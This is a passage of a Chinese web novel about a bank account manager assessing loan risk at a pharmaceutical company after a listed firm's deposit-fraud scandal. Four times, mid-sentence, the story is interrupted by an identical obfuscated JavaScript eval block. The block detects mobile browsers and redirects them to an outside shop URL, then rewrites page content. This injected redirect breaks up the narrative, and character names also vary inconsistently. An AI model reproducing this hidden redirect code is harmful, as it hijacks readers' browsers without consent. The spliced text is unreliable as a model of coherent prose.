在叶允、部门经理、分管行长、支行行长点头后，情况说明得以定稿，此时已是华灯初上。 轻点鼠标，通过邮箱将说明发给风险经理，这一天的工作告一段落，换上自己的衣服，拎上包，融入夜色回家的人潮中。 回到家已经不早了，等到洗过热水澡躺在出租房的小床上，紧绷了一天的神经才得到放松，这时才有空翻看白天划过的信息。 陆博的消息就这样猝不及防跳入眼中。 他约我周末见面，我要怎么回复才能改变他对我的印象呢？ 秋水想着想着就陷入了梦乡。 9. 流动资金贷款3 陆博将约会的询问发出去后，没等回复，便走进自己的办公室，准备交接的资料。 陆博的工作习惯向来很好，接触过的材料按项目分门别类罗列，笔记本内的文件夹永远是逼死强迫症的整洁，这次临时的工作变动虽然仓促，却并未给他增添太多麻烦。 将组内几个人的工作安排打印出来放在一旁，插上U盘拷出最近项目的资料，等待资料传输的过程中，陆博将墙角的柜子打开，取出非涉密笔记本电脑，放包里装好，就算收拾好了。 张鹏和钱宁那边还没有整理完，陆博这个项目负责人也不能直接跑掉，年审的时候查出哪儿少了签字，谁都没好果子吃。 手机上还是没有任何未读消息，陆博也没放在心上，毕竟是工作日，回复消息不及时很正常，看了一眼就关掉应用，打开文献读了起来。 不知过了多久，敲门将陆博的注意力从文献中拉了回来，抬头看见张鹏和钱宁分别抱着一叠材料站在门口。 “进来吧。”陆博冲门外招呼。 “嘿嘿，陆哥，这是之前没签的报销单子”。 “这是缺少签字的项目材料。” 张鹏和钱宁将手上的A4纸和票据放在陆博办公桌上，陆博也没含糊，招呼二人自便，便开始核对资料。 有些项目负责人科研任务重，对于行政工作便没有这么上心，将这类工作扔给助手，自己只管闭眼签字，但陆博不是这样，科研工作者的严谨要求他对自己签的每一个字负责，因此对于所有文件都会逐一把关，确认确实没有问题才会签下自己的名字。 以前陆博这么干的时候，研究所的同事还笑话过他办事过于细致，后来等到隔壁大学的科研助理挪用项目经费，被审计查出，给项目负责人带来了巨大麻烦的事情曝光，人们才开始赞叹他的细致，对行政工作开始上心。 陆博的记忆力惊人，对于每一份票据的由来了然于心，对于每一份文件的内容了如指掌，审过没问题之后，飞快翻页签名，没多长时间就全部弄完。 “我签好了，你们拿回去，整理好后移交存档，这些资料别在手里留久了。”陆博一边将签完字的材料递出去，一边再次强调。 “好嘞，我办事您就放心吧。”张鹏拍着胸脯保证。 “嗯，这是最近咱们做的几个项目的资料，我都拷给你了，这是我根据你们几个人情况制定的下一步工作计划，你也帮忙盯盯，除了我，就你对方方面面都了解，未来这段时间劳你费心。” 拍拍张鹏的肩膀，陆博将拷完资料的U盘和打印好的工作安排递给张鹏。 快速交接完工作后，陆博拿上一旁的电脑包，离开了研究所。 回到单位宿舍，陆博将整个人扔进沙发里，提早下班对于普通打工者来说，是非常幸福的一件事，但是无所事事的时光对于工作狂陆博而言，只意味着空虚。 在宿舍转了几圈，没有找到能干的事情，陆博拿过平板，接着看文献。 向来心无旁骛的他，这次却总觉得哪里不对劲，心里一直被一个小勾子勾着，心在隐隐的骚动。 手机传来震动，陆博将平板放下，找到了根源，原来潜意识里一直在等待一条回复。 迅速拿起手机，发现是运营商的短信，期待中的回复一直没有来到。 带着一丝失望，将手机放下，接着浏览文献。 这样的失望持续了很久，这一丝的失望，对生活并没有造成多大的影响，太阳照常升起，只是徒留一分等待。 一天一天的等待，让陆博更加想见到秋水，如果说开始只觉得秋水这姑娘有点意思，可以给自己平静的日常带来点波澜，在消息长久未得到回复后，他奇怪的好胜心被激发出来。 等陆博在山海公司的工作走上正轨，能腾出精力思考怎么才能再次见到秋水，时间已经过去了大半个月。 秋水却也不是故意晾着陆博，实在是这大半个月里发生的事情过于一言难尽。 周一一上班迎面遇见双重巨雷。 业绩考核的事情还没有想到办法解决，恒通医药出现暴雷风险。 好不容易和叶允达成共识，拟好恒通医药的情况说明上报分行。 在叶允和秋水的努力下，风险部门负责人被成功说服，暂不抽贷，持谨慎观望态度。 事情发展的比较顺利，虽然开头不太好，但进展还是很如人意。 收到风险部门的正式回复后，秋水对恒通的担忧暂时放了下来，准备全力发展新客户。 谁知道一波未平一波又起。 正当秋水试图通过互联网公开信息寻找潜在客户时，突然各种弹窗蹦了出来。 还没来得及点开看具体内容，办公室内“我X”，“牛X”的喊声此起彼伏。 “有什么大新闻吗？”听见同事们激动的叫喊，秋水有点好奇，点开弹窗，等待新闻加载的时候，等不及地向伊莱询问。 “K公司的调查报告出来了，这事情，实在突破我的想象力了。”伊莱神色复杂。 看样子事不小，部门同事里面不乏泰山崩于前而面不变色的人，能让这么多人齐齐震惊，想也知道是大事件了。 秋水有一搭没一搭的想着，待到网页加载出来后，“上市公司百亿存款不翼而飞”这个标题进入视线。 “什么！”秋水脱口而出，怀疑自己的眼神出了问题，揉了揉眼睛，确定没有看错，皱眉看报道内容。 事件的主人公是A股上市企业K公司，K公司是一家高科技公司，主营高分子材料的研发，赶上了发展的红利期，行业符合国家的政策要求，上市后股价一路走高，市值突飞猛进，短短几年就成为超千亿的大集团，前途一片大好。 就这个前途无限的公司，在上一个月，有一笔20亿的公司债到期，但没能如期偿付，这笔债券违约引起了市场上巨大轰动。 最近的经济形势确实不是很明朗，部分上市公司也确实存在资金链紧张的情况，例如某环保企业、某园林公司，已经进入各大银行的授信黑名单，坊间传言，这些公司甚至在找民间借贷作为过桥资金续命。 这几家公司的债券违约新闻传出来的时候，秋水及同事们都没有诧异，都是意料之中的事情。 然而K集团，一直是以资金雄厚著称，上一年的年末审计报告、这一年的年中报告里资产负债表上均显示公司的银行存款高达上百亿，该报告由国内大所R事务所负责审 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648756|156588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计，可信度很高。 因此，在K集团20亿债券违约的时候，连金融业内都震了一震，谁也没想到拥有上百亿银行存款的K集团，拿不出这20亿元。 当然，他们的债务违约，对秋水并没有什么影响，尽管叶允和秋水曾经试图营销过K集团业务，并拜访过集团财务总监，但是由于种种考虑，合作并未达成。 K集团的新闻出来，秋水除了庆幸合作没有达成以外，没有更多的关注后续进展，将这家公司扔到了脑后。 直到此时，各大网站同时推送，K集团才再次出现在秋水视野中。 原来，K集团的债务违约引起了监管部门的注意，证监会成立调查组入驻K集团，进行彻查。 今日，调查组公布调查结果，K集团账面的百亿资金，已经全部被大股东挪用，审计报告里显示的上百亿银行存款，是K集团在A银行开的资管系统内归集账户余额，实际上K集团的资金到账后，马上划拨至大股东账户，由于大股东账户和K集团公司账户属于同一个资管系统，因此余额未出现异样。 “牛啊”。看完公告内容，秋水也发出来如出一辙的感慨。 “看完了，什么感想。”伊莱凑过来，兴致勃勃地问。 “太牛了吧，那股东的财务，属实是个人才，这资管系统被玩明白了。”秋水由衷地佩服。 “嘿嘿，之前我们私下讨论了好几次，都没想明白账上的钱怎么不见的，确实是个人才。”对于秋水的看法，伊莱表示认同。 “还好之前和K集团的合作停止了，我不用焦头烂额收拾这个烂摊子了。”秋水现在想起还有点后怕。 实事证明秋水还是太天真了。 她和K集团没有合作，但和R事务所经常打交道。 K集团的违约表面上未涉及到她。 但秋水忘了，K集团违约，监管部门定义为财务造假，这就牵扯出了另一个问题，在虚增上百亿存款的情况下，R事务所是如何给K集团出具无保留意见的审计报告？ 这个疑问一经点出，瞬间戳爆了市场情绪，投资者和股民纷纷担心下一个K集团的出现，特别是经R事务所审计的企业，大股东均表示质疑，要求更换国际事务所重新审计。 于是接下来的几天里，秋水每天忙着接各大事务所的询证函。 所谓询证函，指的是企业委托事务所进行审计，事务所为了核实企业的账务情况，对往来方发送询证函进行询证，核实存款、货款等真实性。 发送给银行的询证函，自然是询问企业在该银行的开户情况、存款情况、理财情况以及抵质押情况等。 询证事项需层层审批，专人负责，每一事项涉及的核实人员各不相同，流程比较长，时间自然比较久。 K集团的财务造假，使市场风声鹤唳，经R事务所审计的企业，一家比一家急，纷纷催促秋水赶紧出询证结果，证实自家公司财务的真实性。 甚至有某家作风严谨的事务所，派人现场询证。在接待询证人员、催促询证结果的事情里，时间如流水，一天一天就这么过去了。 好不容易合作企业的询证函都处理完毕，秋水可算能缓神歇歇，谁知道噩耗又来。 10. 流动资金贷款4 又是一个工作日。 秋水的这段时间可谓是过的水深火热，连周末都没有歇过，一直在加班。 好不容易处理完了K集团的后遗症，忙碌的日常工作终于告了一段落。 这天在上班的路上，秋水的眼皮直跳，无端感到心慌。 千万别再出什么幺蛾子了，一路祈祷着走进办公室。 然而事与愿违。 早上九点刚上班，wind、天眼查、巨潮等网站疯狂弹出消息提示。 “恒通药业接证监会询问函。” 看见推送，秋水绝望地捂上眼睛。 作为上市公司的监管部门，证监会有责任、有义务随时对A股上市公司进行监管。 之前K集团被发现的财务造假，就是由于公司的债务违约引起了证监会的关注，在询问函没有得到满意回复后，证监会立即派调查组入驻，从而揭开惊天大案的序幕。 从调查结果公布到现在，短短一周时间，K集团已经从如日中天的高科技企业变成了ST，等待退市，无数股民被坑在谷底，对K集团提起集体诉讼。 可想而知，恒通医药在这种时候收到证监会的询问函，绝不是什么好事。 远的不说，这种情况是对市场上投资者信心的巨大打击，一旦恒通复牌，公司股价将持续走低。 这还是恒通医药能够妥善地回复询问函的情况下发生的最好情况。 如果恒通医药的财务状况真的存在较大漏洞，那么公司的退市之路就在前方。 “叶哥，叶哥，情况不好啦”。秋水拿起手机蹭蹭蹭蹭的跑到了叶允身前。 “怎么了？别着急，慢慢说。” 叶云盯着手机上的游戏直播，头也不抬地安抚秋水。 “证监会给恒通发了询问函”。秋水深吸口气，忽略掉游戏直播画面，将这句话一字一字吐出来。 “什么？” 叶允终于舍得抬起高贵的头颅，狐疑地看向秋水，望着对方严肃的脸色，知道这不是玩笑，神情变得严肃，将手机页面关闭，转而打开新闻网站。 叶允和秋水一样，将自己的客户设定为客户端的特别关注，很容易就找到了恒通的最新新闻。 点开一看，果然，证监会早上9点发布询问函。 询问函首先描述了恒通医药股权平仓事件，用词较为中立，从中看不出态度。 接下来一段，便是敦促恒通医药赶紧作出合理解释，从行文措辞，明显能感觉到恒通医药的解释公告不能使证监会信服。 这事儿大了。 看完证监会询问函，叶允脑仁一抽一抽疼了起来。 “走，陪我出去抽根烟”。沉默了一会儿，叶允没有说话，反而从衣服里掏出了烟盒，拉着秋水离开办公区域。 已经是初冬，凛冽的寒风掀起了地上的尘土。顶着风，叶允点燃一根烟，叼在嘴上深吸一口。 没人说话，叶允深深吸烟，秋水看着叶允吐出的烟雾发呆。 “妹妹，你告诉我，你还是坚持原来的想法吗？” 沉默半晌，叶云咬着烟，含糊问道。 “我想去恒通，和他们财务负责人谈谈，看一下具体情况。” 顿了顿，秋水冲叶允说出了她上周就有的想法。 事实上在一开始看见恒通的公告时，秋水就已经有了想去恒通拜访的打算，奈何人微言轻，只能约上恒通的财务经理，秋水认为，这种大事需要和恒通更高层次的人进行对话，因此双方一直没有见面。 这次证监会的询问函一出，和恒通药业负责人谈话必须提上日程。 “行，我现在约恒通，等谈完再说后续。” 一根烟很快就抽完，叶允将烟头扔在地上踩灭。似乎心里已经做出了决定，叶允的神情舒展开来，拍拍秋水的肩，笑着继续说道，“放轻松，多大点事儿，实在不成就退出合作呗。” “走吧，回去了，这事一出分行肯定又不消停了。”说完，叶允弯腰拾起地上的烟头，扔进旁边的垃圾桶，头也不回地走回办公室。 秋水心中其实存在着一定的愧疚，尽管说恒通这家客户对于叶允的年终奖影响很大，但是毕竟叶允家大业大，不指着这点钱过日子。 之前叶允同意他的提议，谨慎观望，未尝不是想让一秋水多点收入，不然刚出消息时，和恒通协商提前还款，现在根本就不用烦心了。 耷拉着头，秋水拖着脚步跟随着叶允的脚步走了回去。 果然刚坐下没多久，旁边的座机电话就响了起来。 来电显示提示，这个电话是分行风险管理部风险经理田薇的来电。 “你好，这里是c银行。”深吸一口气，铃响三声之内接了起来。 “秋水，我是田微”。话筒中传来风险经理严肃的声音。 “老师您好”。秋水小心回答。 “上周发过来恒通的报告，我跟行领导已经汇报过了，初步来说我们是认可你们的结论的，认为可以谨慎观望。”尽管这么说，但是田微的语气中仍然不见轻松。 “嗯，谢谢老师”。电话未完，不能放松，拿起水杯喝了口水，秋水沉默的等待后续。 果然，“但”字随之而来。 “老师您说？”秋水已经知道像我要跟他说什么内容是用手，抓着电话线圈转圈，等待着分行的反馈。 “行领导作出谨慎观望的结论，一个原因是由于这段时间的资本市场，债券违约并不罕见，如果只是一直的周转不开，还是可以给一个机会的；第二个原因就是参考了你们提交上来的报告，我们一贯认为一线的客户经理，更能掌握公司的实际经营状况，你们提交的报告，在分行进行评估的候占有很大比重，因此行里才同意谨慎观望。” “嗯嗯”，秋水敷衍点头，等待后续。 “我不知道你有没有看今天的新闻。证监会对于恒通药业发了关于财务问题的询问函。 你知道由于K集团的事情，现在财务问题是高压线，行里不能不重视。” 田薇的语气更加凝重。 “嗯，老师，那行里的决定是什么？”听见电话对面传来的纸张翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648757|156588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动的声音，秋水冷静回答。 “你们再多准备一些资料，周五审查完新报项目后，你们再就恒通的情况，单独开一个预警会，行长、分管风险、业务的行长都会出席，具体怎么处置，等开会结果吧。” 靴子终于落地了，没有直接叫停项目，而是上预警会讨论，这个结果比秋水想象中要好。 “嗯，好，没问题，我现在去继续调查一下，之后再向您汇报。”秋水果断应下。 “就这样，你们好好准备，挂了。” 向微干脆利落的将电话挂断。 “哥，刚刚风险打电话了。”挂了电话，秋水马不停蹄给叶允发消息。 “怎么说？”叶允回复亦十分快。 “上预警会。各大行长、风险的管理人员和审批人员都参会。”秋水第一时间将信息反馈给叶允。 “好，我知道了，按这情况咱必须尽快跟恒通沟通，我给他们财务总监打了电话，今天忙着回复证监会，没工夫搭理我们，周三下午，你跟我去一趟。趁着现在还有时间，你也和风险多沟通，把需要的问题集中起来，带过去当面问清楚。”让秋水等待了几分钟的回复，带来了好消息。 不愧是资深客户经理。一个电话的功夫，就已经约好了拜访事宜，做到了秋水一个星期都没能做成功的事情。 “好的，没问题”。秋水点头。 “周三开完会咱们还有两天的时间写报告，争取预警会让行领导挑不出毛病”。叶允接着吩咐。 “好嘞，您就放心吧”。重压反而激起了秋水的斗志。 工作起来时间就过得特别快。 一眨眼到了周三。 秋水和叶允带着提前准备的资料准时赶到了恒通医药的办公地点。 恒通医药坐落在北京中关村高新科技产业园区，在园区内自建了好几栋大楼，占地广阔，气势雄伟。光看这个楼，谁也想不到这么大的公司，会出现财务危机。 停下车，秋水就拎起包，跑到了门卫处，将他和叶允的身份证押给门卫，进行登记。 刚登记完，掏出手机准备给财务打电话，就见前方的闸门被刷开，一个年轻的女孩走了过来，这就是是秋水一直在对接的恒通医药财务人员王盈。 王盈是前一年刚毕业的大学生，年轻活泼没心机，之前秋水和她合作的很愉快。 “姐，您到了呀，赶紧进去吧，我们的财务总监和财务经理都已经在会议室等着你们了”。王盈笑意盈盈地招呼。 “诶，等等，不急，我还有个同事在停车呢，你们最近也很忙吧？”秋水眼神闪了闪，和王盈有一搭没一搭聊天。 “唉，可不。”王盈叹了口气，愁绪爬上面容。“这段时间的会就没停止过，你们银行也都要过来。” 话音刚落，王盈就反应了过来，闭嘴不再言语，尴尬地扯了扯嘴角，眼神游移。 抬眼就看见同样穿着银行制服的男生。王盈飞快刷开门禁，招呼叶允和秋水进去。 见此情形，秋水知道套不出话了，扁了扁嘴，跟着走了进去。 11. 流动资金贷款5 恒通的会议室在第九层，王盈带着二人走到电梯间。 作为银行新人，秋水已经形成了主动按键的条件反射，一进电梯间，直奔电梯按钮而去。 “诶，怎么回事？”无论秋水怎么找，也没有看见电梯按键，只有一个大LED屏放在两个电梯之间。 “我来吧。”见到秋水一头雾水，王盈忍不住笑了出来，尴尬的气氛得到缓和。“我们这电梯设计的比较复杂，好多人第一次来我们这儿都有点懵。” 说罢，王盈掏出一张IC卡，在LED屏侧面刷了一下。 屏幕在三人面前亮起，弹出一个数字键盘，王盈毫不犹豫按了9。 过了一会儿，屏幕上内容发生改变，九宫格键盘消失，“4”这个字放大，并居中，霸占整个屏幕，电梯下降的声音随之而来。 “来了，4号电梯，咱们过去吧，还好现在不在早高峰，不用等太久。”王盈转身，走向另一个方向。 “你们这个电梯是新换的？上次来还不是这个。”走向电梯时，秋水好奇地发问。 “是啊，这个楼年龄不小了，我们公司总部刚搬到北京的时候就建成了，电梯已经超过运行年龄的，之前发生过一次坠梯事件，还好没造成严重后果，前段时间刚换完。”王盈一边走一边解释。 进了电梯也无需任何操作，人走进去后，电梯门关上自动上升，秋水继续和王盈闲聊：“这电梯看起来很高科技呀。” “是啊，听说这用了最新技术，根据到达楼层智能分配。”王盈带着自豪回答。 “这么先进，可不便宜吧。”秋水眼珠已转，佯作无意询问。 “可不，花了…”刚说两个字，王盈意识到不对，自己又被套话了，尴尬的闭上嘴，手一会儿摸摸头发，一会儿摸摸眉毛，眼睛直勾勾盯着电梯楼层，恨不得赶紧出去。 “叮，9楼到了。”提示声有如天籁，打破了令人窒息的沉默。 “到了，会议室在这边。”王盈走出电梯，僵着身子引路。 叶允戳了戳秋水的肩膀，见秋水回头，以眼神示意，让她安抚王盈的情绪。 好吧，秋水耸了耸肩，三两步追上王盈，笑意盈盈：“别紧张，我没有恶意，刚刚你也没说什么不好的内容，放心吧。” 王盈笑了笑没有说话，推开了会议室的门，紧绷的肩膀稍稍放松了点。 恒通医药的财务总监孙理和财务经理崔容已经在会议室等候了。 进门的时候，秋水有意放慢了步伐，等叶允先走，自己落后半个身位。 刚迈入会议室，孙理和崔容立即站起来，大踏步迎了过来。 “叶总，好久不见。”孙理带着恰到好处的笑容和叶允握手。 “好久不见”。叶允用力回握，脸上的笑容比孙理更加亲切。 “咱们坐下说话。”孙理示意叶允坐在他对面。 隔着大大的会议桌，叶允、秋水和孙理、崔容相对而坐，坐下后，双方不约而同将笑意收起，严肃地对视。 “孙总，想必您已经知道我过来的目的是什么了”。叶允刚一坐下，直奔主题。 “之前小崔和我说过，因为股权平仓的事情，你们银行想要面谈？”对于这个话题，孙理并不避讳。 “我们确实为此而来。”叶允颔首。“这件事到底是个什么情况？” “该说的公告里都已经说了。我们公司账上的现金流绝对没问题，DB信托根本没有给予补仓时间，我们收到平仓通知的时候，股份就已经被强行平仓了。你们说说哪有这样的道理。”说起这个话题，孙理仍然义愤填膺，情绪激动地连连挥手，说到最后还把问题扔了过来。 DB信托的做法确实不合常理，股权质押的一个重要指标是股票质押率，质押股票的市值乘以质押率，得到的数额就是能够贷款的金额。质押率由机构根据借款人资质决定，普通股最高不超过60%，这最大限度保证了借款的安全。 即使以最高质押率借款，股价都有40%的下跌空间，只要机构所持股价高于贷出金额，就不会发生风险。 由于A股市场波动较大，股价下跌40%不是不可能事件，贷款机构会在临界值上设立警戒线，一旦质押股票价格到达警戒线，将采取行动。 一般来说，首选方案是让贷款方还款或者继续质押股票补仓，如果不能还款或者补仓，才会考虑强行平仓事宜。 恒通医药就遇见了不按常理出牌的DB信托，恒通最近两个月股价下跌幅度很大，且没有上涨的趋势，触碰到了DB信托设的警戒线，DB信托没等恒通还钱或者补仓，在跌破警戒线的瞬间，强行平仓，造成了恒通的声誉风险，从而引发了一系列后果。 “确实确实，DB那班孙子不干人事。”叶允连连点头，显得比孙理还要生气。 “还是叶总明事理。”孙理笑了笑，再开口已没有之前的气愤，“您也知道，我们公司经营了这么多年，也算是老字号了，绝对不会做这种自砸招牌的事情，你就放心吧，我们肯定会如期还款，你可以查一下，之前的利息，我们可都是提前划到你们银行的账上了。” “明白明白，您家大业大的，自然不把那点钱放眼里，但您也理解理解我们，作为我本人来说，肯定是相信恒通的实力的，但是行内有规定，该调查的还是调查一下。”叶允态度更好，但丝毫不见松口。 听着叶云和孙理你来我往的打太极，秋水眼神放空，侧头望向窗外恒通庭院里的孔雀，从九楼看下去，只能看见一个小点。 “你们公司的项目一直是秋水跟进的，她有几个问题要问。” 你来我往了几个回合，终于进入到实质性内容，叶允撞了撞秋水的手肘，示意她提问。 秋水回过神，见孙理和崔容都专注地看着自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648758|156588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己，清了清嗓子，翻开笔记本，开始发问。 “孙总，冒昧请教，贵公司的股价为何持续下跌。”秋水将事情的导火索，也是自己最关心的问题甩了出来。 “股价下跌很正常的，这是我们的行业惯例。药企的销售也分淡季旺季，我们公司的拳头产品是心脑血管药物，冬天是心脑血管疾病高发期，销售额高，其他季节对药的需求没那么大，销售收入变低了，自然股价也就跌了。”可能其他金融机构都问过这个问题，听见秋水的提问，孙理眉头都没有皱一下，一串流利的解释就说出了口，一看就不知道重复过多少次了。 看着孙理诚恳的面容，秋水嘴角抽了抽。 “孙总，您也知道，我和叶总是银行里最希望咱们能继续合作的人，为了咱们彼此的利益，请你对我如实相告。”秋水不客气说道。 “就是这么个情况，别的也没什么好说的。”对于秋水堪称冒犯的话，孙理不见动怒，继续回答。 “您看一下这个。”秋水从面前的资料中抽出来一张，推给孙理。 孙理拿过纸张，眼中精光闪了闪。“这是什么？恒通的股价？” “对，这是我从网站上找到的，恒通的月股价图。根据您说的时间点，一季度报表和半年度审计报告公布后的4月和7月，您公司的股价并没有走低，反而有一个小幅度提升，但到了9月，三季度报表还没有出来，天气也开始转冷的时候，您公司的股价开始下跌，并且一直没有止住的势头，这和您说的好像不太一样。”秋水直视孙理，直白地指出漏洞。 沉默。 孙理眼中闪过一丝意外，确实如秋水所猜，她不是第一个来询问股价的客户经理，但由于恒通的牌子在这里，对于股质平仓，恒通的态度又过于强硬，其他机构认为恒通没有大问题，因此他们的走访更像例行公事，对于孙理的季度理论接受良好，秋水是第一个提出股价走势对不上的人。 “那我也不和你们绕关子了。”沉默了一会儿，孙理做出了决定，坐直身子。 “您说。”知道重点到了，秋水立刻拿起笔，将笔记本翻到空白页，全神贯注准备记录。 “我不知道你们有没有关注过其他药企的股价。”孙理慢条斯理解答，说是不绕关子，但依然没有直接回答。 叶允和秋水耐心地听着，没有打断孙理。 “如果你们关注了就会发现，从9月份开始，我国所有的药企，股价都在降。”没等秋水他们回复，孙理自己回答了。 这确实是秋水没有掌握的信息，她眼中闪过诧异，心念电转想起了什么，犹豫地和叶允对视一眼，看见叶允肯定的眼神，秋水知道，自己的猜测是对的，造成全行业股价波动，只有政策变化才能解释。 “今年9月，国家对医疗行业进行了改革，其中有一条，将多票制改成两票制，这个政策一出，对我们的影响不小。” 12. 流动资金贷款6 “两票制？”这是一个没有听过的词，秋水等了片刻，没等到叶允接过话题，只能自己顺着问下去。 “对，两票制。”孙理合上资料，双手指尖相触，撑着下巴，一副要长谈的架势。 “药企卖药，主要有两个渠道，一个渠道是我们公司自己的销售人员去各家医院推销，另一个渠道是我们公司将药卖给经销商，经销商再找医院或者下级经销商。 普遍来说，一个药中间得有七到八家经销商，在药品交易过程中，□□得开七、八次。 今年国家出台了新的规定，在公立医院推行药品采购“两票制”，从药企到一级经销商开一次□□，从一级经销商到医院再开一次□□，并且每一个品种药物的一级经销商不能超过两个。” “啊，那这影响确实很大。”事情不小，秋水心里做出判断，点头应和两句，手上动作不停，翻看上年度审计报告，同时发问，“所以，你们采取了什么应对措施呢？” 政策已经出台，企业只能适应，这个道理，公司领导比秋水更加明白。 “实不相瞒，其实在政策出台前征求意见的阶段，我们就隐隐约约听见过风声，为了应对改革，公司也采取了很多行动。 最主要的，就是在全国各地组建了销售团队，直接切入医院。” 孙理笑了笑，耐心地解释，但这个回答，明显避重就轻。 找到了，在审计报告里查到了想要的信息，秋水挺直腰背，面上一直带着点笑意收敛，严肃地问出了最关键的问题。 “根据恒通上一年的年度审计报告，经销商是你们公司最主要的下级客户，销售额前五的企业，都是经销商，仅这五家经销商，就占了恒通销售额的60%以上，而且主要几家经销商，占比相差不大，现在要求一种药物只能选两家经销商，这个损失，是你们组建销售团队能够弥补的吗？” 听了秋水的问题，孙理一时没有说话。 见气氛陷入沉默，崔容赶紧示意王盈取来矿泉水，招呼众人喝水。 秋水打开印着恒通LOGO的矿泉水，给了对方思考时间。 “我们已经选定了两家经销商，和他们谈妥了新的采购协议，在原有基础上，采购的药物是有增加的。 当然，这两家公司采购的量，较之前所有经销商采购总量是有所下降的，为了应对这种情况，我们的销售策略做了巨大调整，以前主要营销经销商，未来我们的销售人员，直接和医院对接。” 孙理的回答，在秋水听来，就是绕着圈的打太极。态度特别好，有问必答，但一到关键问题，就春秋笔法含糊不清。 秋水也没着急，毕竟立场不同，孙理的需求是稳住银行，而秋水要做的，就是在对方天花乱坠的描述里，找到关键信息，并做出风险判断。 “那销售团队的业绩如何？你们三季度报表，销售额同比还行，销售费用可大幅降低了。” “这个，我们也要给销售团队时间是吧，不可能说毫无积累，一个销售就能够直接和医院合作，在短期内，销售额肯定会有一定的下降，但是，我们公司的药品质是有保障的，熬过这段时间，打开局面就好了。”孙理说的信心十足。 “唔，大致情况我了解了。”秋水嘴角扬起，不再紧绷，脸上也带上来笑意，严肃的神情缓和下来，会议室内凝滞的氛围被打破。 “最后一个问题，你们新药的研发进展怎么样了？什么时候能够上市呢？”带着笑意，秋水猝不及防开口。 孙理和崔容脸上的笑意停滞了一下，很快又恢复，孙理的笑容变大：“这正是我想和你们说的，之前授信走访的时候，我们也谈过这个事情，我们的新药，是针对肿瘤的特效药，只要能过批准上市，新药的市场无比广阔。 我们之前就公告过，新药已经进入一期临床实验阶段了，根据我手上掌握的资料，实验数据特别好，很快就能进入二期临床，只要二期临床实验没问题，我们马上申请批文，药品上市指日可待。” 孙理说完后，秋水关心的问题都问完了，将笔记本合上，向叶允示意可以结束谈话了。 “非常感谢孙总的配合，我们一定会如实和行里反馈的，今天我们要问的就这些了。”收到秋水示意后，叶允寒暄收尾。 “好说好说，咱们是互利互惠的关系。”孙理笑眯眯，也合上资料，“现在恒通确实遇见了暂时的困难，我们公司有信息能够走出困境，恒通永远不会忘记帮助过自己的朋友，等这段日子过后，咱们可以开展更多的合作。” 孙理在这里等着秋水二人组，前面的配合，最终目的是最后这段话。 “孙总的意思我们明白了，今天就先到这里，我们先回去了，孙总您也回去忙吧。”听着孙理带有威胁意思的话语，叶允依然笑眯眯道别。 “这老狐狸。”一上车，叶允的脸色变了，终于不再带着面具似的笑容。 说完，叶允不再言语，专心开车。 从恒通出来的时间还早，没到晚高峰，叶允开着车畅通无阻走在四环上，望着车窗外迎面开过的车流，秋水沉默半晌，主动开启话题。 “所以，叶哥，您怎么想。” “你是怎么想的？”叶允搭在方向盘上的手轻点几下，将问题扔回给秋水。 “我还是觉得，恒通可以合作，不过得加担保措施。”秋水也没含糊，如实表达自己想法，虽然说恒通的主办客户经理是叶允，但秋水为了这笔授信，也付出了很大的心血。 “理由呢？”叶允没有轻易作出判断，饶有兴致的追问。 “有以下几点，一是恒通的现金流目前来看还很正常，账面上银行存款不少；二是受医改影响的企业不止恒通一家，这是全行业的事情，恒通已经做出来应对措施；三是恒通正在研发的药物，潜在市场非常大，如果赌赢了，恒通的规模能上一个新台阶，作为一个在风雨飘摇时候没有放弃他们的银行，以后合作的空间肯定大；最后还有一点，不知道您注没注意，恒通在院子里养了孔雀，矿泉水也是定制的，真财务状况出现问题的公司，没有闲心干这些事情。”秋水将自己的理由慢慢道来。 “可以呀，秋小水，这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648759|156588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 套一套的，让我刮目相看了。”叶云一边摇头晃脑听歌，一边调侃。 